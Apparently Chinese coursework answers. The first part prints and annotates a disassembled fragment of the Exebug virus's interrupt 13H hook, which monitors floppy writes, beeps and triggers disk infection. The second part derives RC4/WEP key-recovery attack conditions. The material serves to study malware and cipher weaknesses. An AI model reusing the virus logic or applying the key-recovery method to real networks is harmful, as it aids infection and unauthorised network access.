1. 分析Exebug病毒复发模块循环发声程序的工作原理。

EXE病毒感染成功后，只要用户调用中断13H，便对其操作进行监督，病毒关注用户对软盘的读写操作，根据BIOS始终的低字和感染磁盘（主）引导记录的某一特定值，决定是否进入无限发报警音循环和磁盘感染操作，然后再相应用户的调用申请。

中断调用13H的工作原理：

9F80:0052 PUSH DS ；不影响DS，AX入口值

PUSH AX

TEST DL, F0

JNZ 0081 ；是硬盘的I/O请求跳转直接回应

SHR AH, 1

DEC AH

JNZ 0081 ；不写软盘跳转直接回应

XOR AX,AX

MOV DS, AX

MOV AX, [046C] ；取BIOS时钟单元低字

MOV AL, AH ；去BIOS时钟单元低字的高字节

CS:

SUB AL, [0003] ；与操作系统版本串字符的ASCⅡ码相减

CMP AL, 02

JB 0081 ；差小于02H则跳转直接相应

CS:

MOV [0003], AH ；修改版本串字符的ASCⅡ码值

CMP AX, 0002

JNB 007E ；AX大于或等于0002H则跳转

CALL 014A ；发报警音

9F80:007E CALL 0169 ；感染磁盘

9F80:0081 POP AX ；恢复入口值

POP DS

CS:

JMP FAR [0007] ；执行正常中断13H

2. 分析两个大类两个不同无线协议漏洞及其破解原理证明：

1. Attack3攻击

攻击条件：S[o1]=2,且S[B+3]=1;

漏洞分析：

根据攻击条件，经历了B+3次KSA算法，S[2]不再进行交换。进行第（B+3）+1 次KSA算法时，假设S[B+3]与S[1]进行交换，则S[1]=1，之后的KSA算法中S[1]不再进行交换。

那么在运行PRGA算法时，PRGA的第1步：

i=1,j=(j+S[i])%256=(0+S[1])=S[1]

S[i]与S[j]进行交换，交换前S[1]=1,S[j]=S[S[1]]=S[1]=1,交换后S[1]=1,S[j]=S[S[1]]=1,

t=(S[i]+S[j])%256=(S[1]+S[S[1]])%256=2,o1=S[t]=S[2].

因为Si[o1]=Si[S[2]],根据KSA 交换性质，Si[S[2]]=2,所以，Si[o1]=2.

所以这里两个攻击条件是相互印证的。

在假设事件发生的条件下，进行第（B+3）+1次KSA算法是，S[B+3]与S[1]进行交换，则交换时i=B+3,j=1,所以j=jj[B+3]=jj[B+2]+S[B+3]+KEY(B)=1,那么KEY（B）=1-(jj[B+2]+S[B+3])，得到了希望的攻击结果。

1. 逆攻击

攻击条件：S[2]=0且o2=0

漏洞分析：

伪随机密钥产生算法的1，2步骤：

i=1,j=(j+S[i])%256=（0+S[1]）%256=S[1]………………假设C=S[i]

S[i]与S[j]交换,即S[1]与S[j]=S[C]进行交换，交换后S[j]=S[1]即C，S[C]=C;

i=2,j=(j+S[i])%256=(C+S[2])%256=C+S[2]=C+0=C

S[i]与S[j]进行交换，即S[2]与S[C]进行交换，交换后S[C]=S[2]=0,S[2]=S[C]=C;

t=(S[i]+S[j])%256=(S[2]+S[C])%256=(C+0)%256=C

o2=S[t]=S[C]=0;

显然，这两个攻击条件是相互验证的。得出S[C]!=0 ,C!=2,为了使i=2时的交换正确。

在B+3次KSA之后，S[1],S[2]不再进行交换。进行PRGA第1，2步之后，S[1],S[2]的值已经发生了交换，所以在假设事件发生的条件下，进行第（B+3）+1次KSA算法时，下列条件必定成立：

jj[B+3]!=1,jj[B+3]!=2;进行第（B+3）+1次KSA算法时，jj[B+3]=jj[B+2]+S[B+3]+KEY(B)

jj[ B+2]+S[B+3]+KEY（B）！=1；

jj[ B+2]+S[B+3]+KEY（B）！=2；即：KEY（B）！=1-(jj[B+2]+S[B+3]),

KEY(B)!=2-(jj[B+2]+S[B+3]);这是两种排除KEY（B）值的情形。